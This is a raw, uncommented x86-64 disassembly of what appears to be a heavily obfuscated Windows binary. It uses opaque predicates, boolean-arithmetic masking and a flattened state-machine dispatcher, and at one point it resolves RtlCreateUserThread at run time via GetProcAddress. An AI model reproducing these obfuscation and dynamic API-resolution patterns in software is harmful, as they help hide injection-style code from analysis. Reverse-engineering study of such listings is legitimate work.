and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x53fa3ddd
and ecx, 0xac05c222
or ecx, edx
mov ebx, ecx
xor ebx, 0x88000000
xor ecx, 0x40a00541
or ebp, 0xc8b10d45
mov edx, ebp
not edx
or ecx, 0x3146721a
and ecx, 0x71e7775b
and ebx, 0x88100804
or ebx, ecx
and ebp, 0x71e7775b
and edx, 0x60880a0
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xabf005ef
and edx, 0x540ffa10
or edx, ecx
mov ecx, edx
xor ecx, 0x9c0e1251
xor edx, 0x6001008a
and ecx, 0x9f4e1a71
and edx, 0x60b1e58e
or edx, ecx
xor edx, 0x60b1e58e
sete cl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r10d, eax
xor r10b, 1
or r9b, r8b
mov ebx, ecx
xor bl, r9b
or cl, r9b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
and r10b, bl
xor bl, 1
and bl, al
or bl, r10b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x1e3e196e
mov ecx, 0xed7710cb
cmovne eax, ecx
test dl, 1
mov ecx, 0x1e3e196e
cmovne ecx, eax
test bl, bl
jmp 0x14015cf0e
mov ecx, 0xbc7813f2
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
or edx, 1
mov ecx, edx
not ecx
mov ebp, ebx
or ebp, 0xae6a7120
and edx, 0xae6a7120
and ecx, 0x51958ede
or ecx, edx
and ebp, 0xae6a7121
xor ebp, ecx
mov ecx, ebp
and ebp, ebx
not ebx
not ecx
and ebx, ecx
or ebp, ebx
xor ecx, ebp
test ecx, ebp
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor al, cl
mov edx, ebx
and dl, cl
xor bl, cl
or dl, bl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x444c8058
mov ebp, 0xbe26f89c
cmovne eax, ebp
test cl, cl
mov ecx, 0x444c8058
cmove eax, ecx
test dl, 1
cmovne eax, ebp
mov ecx, eax
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x453eeeae
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
or ebp, 0x7f88629a
mov ebx, ebp
not ebx
or ecx, 0x80779d65
mov edx, ecx
not edx
and ebp, 0x8138a7de
and ebx, 0x471821
or ebx, ebp
and ecx, 0x8138a7de
and edx, 0x7e804000
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x45e68322
and edx, 0xba197cdd
or edx, ecx
mov ecx, edx
xor ecx, 0x3a6ee1b8
mov ebp, edx
xor ebp, 0x3a6ee1b9
and ebp, ecx
xor edx, 0xc5911e46
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x63623fac
and ecx, 0x9c9dc053
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb49916a2
and ecx, 0x4b66e95d
or ecx, edx
xor ecx, 0x2804d6f1
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, r10b
and bl, al
and al, r10b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r9b
xor r10b, r9b
or cl, r8b
xor cl, 1
or cl, r10b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x3f3254dc
mov ebp, 0x8d45022f
cmovne edx, ebp
test al, 1
cmovne edx, ebp
not cl
test cl, 1
mov eax, 0x3f3254dc
jmp 0x14015b435
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x82006500
mov ebx, ecx
and ebx, 0x608287
or ebx, edx
xor ebx, 0x608287
mov edx, ecx
xor edx, 0x8260e787
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x7d9f1879
and edx, 0x8260e786
or edx, ebx
and ebp, 0xc35bc8aa
and ecx, 0x3ca43755
or ecx, ebp
mov ebp, ecx
xor ebp, 0x3ca43755
xor ecx, 0xc35bc8aa
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov edx, r9d
xor dl, r8b
and dl, r9b
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
xor cl, 1
mov r11d, ecx
xor r11b, bl
or cl, bl
xor cl, 1
or cl, r11b
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and r9b, r10b
and al, r8b
or al, r9b
mov edx, r10d
xor dl, r8b
or r10b, r8b
xor r10b, 1
or r10b, dl
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov r8d, edx
mov ebx, ecx
xor dl, cl
xor cl, 1
and r8b, cl
and bl, al
or bl, r8b
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x6e1ea29a
mov edx, 0x28746eab
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0x6e1ea29a
jmp 0x14014f72e
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf19a4114
and edx, ecx
and ecx, 0xe65beeb
or ecx, ebp
xor ecx, 0xe65beeb
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc8dce25a
mov ebp, ecx
and ebp, 0x37231da5
or ebp, edx
mov edx, ebp
xor edx, 0x37231da5
xor ebp, 0x4048e050
mov ebx, edx
and ebx, 0xac4c1ab6
and ecx, 0x53b3e549
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x53b3e548
and ecx, 0xac4c1ab7
or ecx, ebx
and ebp, 0x534bfcf1
mov ebx, edx
and ebx, 0xacb4030e
or ebx, ebp
xor ebx, 0x534bfcf0
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xba5bf3a7
and edx, 0x45a40c58
or edx, ebp
xor edx, 0x45a40c58
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0x42b4105d
and ecx, 0xbd4befa2
or ecx, edx
mov edx, ecx
xor edx, 0x42040000
xor ecx, 0xb0004522
and ecx, 0xb0b0557f
and edx, 0x4f4faa80
or edx, ecx
xor edx, 0x4f4faa80
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x528aa7f1
mov ebp, 0xe490bb34
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
jmp 0x14015cf0b
mov ecx, 0xdf3f534f
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x381409c5
and ecx, 0xc7ebf63a
or ecx, edx
mov ebx, ecx
xor ebx, 0x81400010
xor ecx, 0x10140084
mov ebp, edi
or ebp, 0xb1f4629e
mov edx, ebp
not edx
or ecx, 0x99861
and ecx, 0x10bdfaef
and ebx, 0xa1400010
or ebx, ecx
and ebp, 0x10bdfaef
and edx, 0x4e020500
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa131fa63
and edx, 0x5ece059c
or edx, ecx
xor edx, 0x10c598fc
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor dl, 1
xor al, 1
mov ebx, edx
or bl, al
xor al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x83e565c2
mov ebp, 0x551ae98
cmovne ecx, ebp
test bl, 1
mov eax, 0x83e565c2
jmp 0x14015d6de
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x874fd586
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x1018186
and ecx, 0x864e5400
or ecx, ebx
xor ecx, 0x864e5400
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x17ccf798
and edx, 0xe8330867
or edx, ecx
mov ecx, edx
xor ecx, 0x4348d420
xor edx, 0x9003000a
and edx, 0xbc3709ca
and ecx, 0x43c8f635
or ecx, edx
xor ecx, 0x43c8f635
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xddd9d07
and ecx, 0xf22262f8
or ecx, edx
xor ecx, 0xf22262f8
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and bl, al
mov edx, ecx
and dl, r8b
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
xor cl, r8b
mov ebx, ecx
xor bl, 1
and cl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
and r9b, cl
xor cl, 1
and cl, dl
or cl, r9b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x635547e9
cmovne eax, r14d
test bl, 1
mov edx, 0x635547e9
cmovne edx, eax
test cl, 1
cmove edx, eax
mov ecx, edx
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xd065bd0e
and ecx, 0x2f9a42f1
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb080c2b4
and ecx, 0x4f7f3d4b
or ecx, edx
mov ebp, ecx
xor ebp, 0x9f1a8045
mov ebx, ecx
xor ebx, 0x60e57fba
mov edx, ecx
xor edx, 0xe728b1a0
mov edi, edx
and edi, ebx
and edx, ebp
mov ebp, edi
and ebp, edx
xor edx, edi
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x2457580b
and edx, 0xdba8a7f4
or edx, ebp
xor edx, 0xa39a9610
and ebx, 1
xor ecx, 0x60e57fbb
or ecx, ebx
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, bl
xor bl, dl
and dl, al
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
not al
and al, cl
xor cl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xe7502fee
mov ebp, 0x9d931e52
cmovne ecx, ebp
test dl, 1
mov edx, 0xe7502fee
cmove ecx, edx
jmp 0x14015d17c
mov ecx, 0x494e4498
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov ecx, edi
or ecx, 0x35dd23ea
mov ebp, ecx
not ebp
mov ebx, esi
or ebx, 0x4a00cc01
and ebx, 0x4e90ed21
mov edx, edi
and edx, 0x314d02ca
or edx, ebx
and ecx, 0x4e90ed21
and ebp, 0x80221014
or ebp, ecx
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x703f888a
and ebp, 0x8fc07775
or ebp, ecx
mov ecx, ebp
xor ecx, 0xba1d549e
xor ebp, 0x1c02120
mov edx, ecx
and edx, 0xfc2f9a59
and ebp, 0x3d065a6
or ebp, edx
or ecx, esi
and esi, 0xfc2f9a59
and edi, 0x3d065a6
or edi, esi
xor edi, ebp
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x5595dcc8
mov edx, 0x170f0276
cmovne ecx, edx
test bl, 1
mov ebp, 0x5595dcc8
cmove ecx, ebp
test al, 1
jmp 0x14015bdd0
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, edx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
mov ebp, edx
xor ebp, 0x2b1e7e
and ebp, edx
not edx
and edx, 0x1187c
and ecx, 0x2a0602
or ecx, edx
mov edx, ecx
xor edx, 0x280400
xor ecx, 0xffd5f9fd
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x7092f20b
and edx, 0x290c74
or edx, edi
or ecx, ebx
and ebx, 0x7092f20b
and ebp, 0x8f6d0df4
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8a47249c
and ecx, 0x75b8db63
or ecx, edx
mov edx, ecx
xor edx, 0x45924104
xor ecx, 0x8a6c3ae2
mov ebp, ecx
and ebp, 0x3201a639
and edx, 0xcdfe59c6
or edx, ebp
xor edx, 0x3201a639
xor ecx, edx
test ecx, edx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xed1676c8
mov ecx, 0x3af80a9c
cmovne ebp, ecx
test dl, dl
mov ecx, ebp
mov edx, 0xed1676c8
jmp 0x14015d179
mov ecx, 0xbe26f89c
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xb996b997
mov ecx, eax
and ecx, 0x46694668
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x46694669
and ecx, 0xb996b996
or ecx, ebp
and edx, 0x89876e77
and eax, 0x76789188
or eax, edx
mov edx, eax
xor edx, 0x62280180
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x1c50987f
and ecx, 0xe3af6780
or ecx, ebp
xor eax, 0x8000877
and eax, 0x1c50987f
and edx, 0xe3af6780
or edx, eax
xor edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne al
cmp dword [0x1402656d4], 0xa
setl cl
mov ebx, ecx
xor bl, al
not bl
and bl, al
or al, cl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r8d
xor dl, cl
mov ebx, edx
xor bl, 1
and cl, r8b
or cl, dl
xor dl, cl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x4a8c2ea9
mov ebp, 0xe53b1237
cmovne ecx, ebp
test bl, 1
mov eax, 0x4a8c2ea9
jmp 0x14015d6de
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x9a9d4002
and edx, 0x6562bffd
or edx, ecx
xor edx, 0x6562bffd
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
xor al, 1
or al, r8b
mov r10d, eax
xor r10b, 1
or dl, r9b
xor dl, 1
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r10d
and dl, al
mov ebx, edx
and bl, r10b
xor dl, r10b
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x20e9a317
mov ebp, 0x8d179c94
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0x20e9a317
jmp 0x14015d285
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x348572e2
and ebp, 0xcb7a8d1d
or ebp, edi
or ecx, ebx
and ebx, 0x348572e2
and edx, 0xcb7a8d1d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x9ca929de
mov edx, ecx
xor edx, 0x9ca929de
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x3e168596
and edx, 0xc1e97a69
or edx, ebp
mov ebp, edx
xor ebp, 0x1d001130
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
xor edx, 0xa2bfac49
mov edi, edx
and edi, 0xc0d14686
and ebp, 0x3f2eb979
or ebp, edi
or edx, ecx
and ecx, 0xc0d14686
and ebx, 0x3f2eb979
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x8f1768ab
and edx, 0x70e89754
or edx, ecx
mov ecx, edx
xor ecx, 0x40a09540
xor edx, 0x880668a8
and edx, 0xb84e6abc
and ecx, 0x47b19543
or ecx, edx
mov edx, ecx
xor edx, 0x28480ab4
xor ecx, 0x40001103
and ecx, 0xd006710b
and edx, 0x2ff98ef4
or edx, ecx
mov ecx, edx
xor ecx, 0x2718ad0
xor edx, 0xd006710a
and edx, 0xfd8e752e
and ecx, 0x2718ad1
or ecx, edx
mov edx, ecx
xor edx, 0x71866026
xor ecx, 0x4088c0
and ecx, 0x8c489dc8
and edx, 0x73b76237
or edx, ecx
xor edx, 0x73b76237
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
and al, r8b
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x5a4fdc1a
mov ebp, 0x27d7b814
cmovne edx, ebp
test al, al
mov eax, edx
cmovne eax, ebp
test cl, cl
cmove eax, edx
jmp 0x14015d868
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3424f2b4
and ebp, 0xcbdb0d4b
or ebp, edi
or ecx, ebx
and ebx, 0x3424f2b4
and edx, 0xcbdb0d4b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xc18fc786
and ecx, 0x3e703879
or ecx, edx
mov ebp, ecx
not ebp
mov edi, ecx
xor edi, 0x80884482
or edi, 0x6927a37d
mov esi, edi
not esi
or ebx, 0x96d85c82
mov edx, ebx
not edx
and edi, 0x8a7ec4f8
and esi, 0x14801802
or esi, edi
and ebx, 0x8a7ec4f8
and edx, 0x61012305
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0x5282e605
and edx, 0xad7d19fa
or edx, ebx
mov ebx, edx
xor ebx, 0x13244418
and ebp, 1
xor ecx, 0x3e703878
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x8f576af1
and ecx, 0x70a8950e
or ecx, ebp
mov ebp, ecx
xor ebp, 0x5028040a
xor edx, 0xc45aba86
xor ecx, 0x8f576af1
mov edi, edx
and edi, 0x28839365
and ebx, 0xd77c6c9a
or ebx, edi
or edx, ecx
and ecx, 0x28839365
and ebp, 0xd77c6c9a
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebx, ecx
or ebx, 0x86bdf885
mov ebp, ebx
not ebp
or edx, 0x61420362
and edx, 0xe3cec3e3
and ecx, 0x4313804
or ecx, edx
and ebx, 0xe3cec3e3
and ebp, 0x18000418
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x7942077a
and ebp, 0x86bdf885
or ebp, ecx
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor dl, 1
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov eax, ecx
not al
and al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe16a39da
mov ebp, 0xd979f1cc
cmovne edx, ebp
test cl, 1
mov ecx, edx
jmp 0x14015d4c6
mov ecx, 0x39927d81
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rbp - 1]
imul edx, ebp
mov ebx, edx
not ebx
mov ebp, edx
or ebp, 1
mov edi, ebp
not edi
mov esi, edx
xor esi, 0xfffffffe
and esi, edx
mov ecx, ebp
and ecx, 0x73b72dbf
and edi, 0x8c48d240
or edi, ecx
mov ecx, esi
not ecx
or ebp, ecx
and ecx, 0x73b72dbf
and esi, 0x8c48d240
or esi, ecx
xor esi, edi
not ebp
or ebp, esi
mov ecx, ebp
not ecx
and ecx, 0x7f2c9427
and ebp, 0x80d36bd8
or ebp, ecx
xor ebp, 0x80d36bd8
and ebx, 0xa9e2c525
and edx, 0x561d3ada
or edx, ebx
xor edx, 0x561d3ada
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe74bf010
and edx, 0x18b40fef
or edx, ecx
xor edx, 0x18b40fef
sete cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
xor r9b, cl
xor cl, dl
xor dl, cl
and dl, cl
xor dl, 1
mov ecx, r9d
xor cl, 1
mov r8d, r9d
and r8b, cl
mov ebx, r8d
xor bl, 1
xor r8b, r9b
or bl, cl
xor bl, 1
or bl, r8b
xor bl, dl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edx, ebx
xor dl, cl
not dl
test dl, 1
mov edx, 0xc9948b5
mov ebp, 0x136e3ac4
cmovne edx, ebp
test cl, cl
mov ecx, 0xc9948b5
cmovne ecx, edx
mov qword [rsp + 0x30], rax
test bl, 1
cmovne ecx, edx
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf34bc5e4
and edx, ecx
and ecx, 0xcb43a1b
or ecx, ebp
mov ebp, ecx
xor ebp, 0x840801
xor ecx, 0xf34bc5e4
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbd3b763e
and ebp, 0x42c489c1
or ebp, edi
or ecx, ebx
and ebx, 0xbd3b763e
and edx, 0x42c489c1
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebx, ecx
xor ebx, 0xd73df9e7
and ebx, esi
mov edi, esi
or edi, 0xd73df9e7
mov edx, edi
not edx
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x5553fcc5
and ebx, 0xaaac033a
or ebx, eax
or ebp, edi
and edi, 0x5553fcc5
and edx, 0x28800218
or edx, edi
xor edx, ebx
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x28c20619
and ebp, 0xd73df9e6
or ebp, eax
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
not ecx
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
or ecx, 0xd3e35115
mov ebp, ecx
not ebp
or eax, 0x2c1caeea
mov edx, eax
not edx
and ecx, 0xa97946b2
and ebp, 0x404a848
or ebp, ecx
and eax, 0xa97946b2
and edx, 0x52821105
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x5957a91f
and edx, 0xa6a856e0
or edx, eax
mov eax, edx
xor eax, 0xb42802
xor edx, 0x354202c1
and eax, 0x40bd2d36
and edx, 0xbf42d2c9
or edx, eax
xor edx, 0xbf42d2c9
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or cl, dl
or al, bl
and dl, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0xbf716512
mov ebp, 0x3b637a28
cmovne ecx, ebp
test bl, bl
mov eax, 0xbf716512
jmp 0x14015d37d
mov ecx, 0xe79b3b0e
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x8d94030
and edx, 0x44020200
or edx, ecx
mov ebx, edx
xor ebx, 0x44000200
xor edx, 0x8af4b554
or ebp, 0x4cdb4230
mov edi, ebp
not edi
and edx, 0x8af6b554
and ebx, 0x44094220
or ebx, edx
and ebp, 0x8af6b554
and edi, 0x3100088b
or edi, ebp
xor edi, ebx
mov edx, edi
not edx
and edx, 0xb324bdcf
and edi, 0x4cdb4230
or edi, edx
mov esi, edi
not esi
mov ecx, edi
xor ecx, 0x4fd60308
and ecx, esi
mov ebx, esi
or ebx, 0x4fd60308
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x3d9a8303
and ecx, 0xc2657cfc
or ecx, eax
or ebp, ebx
and ebx, 0x3d9a8303
and edx, 0x80217cf4
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0xb029fcf6
and ebp, 0x4fd60309
or ebp, eax
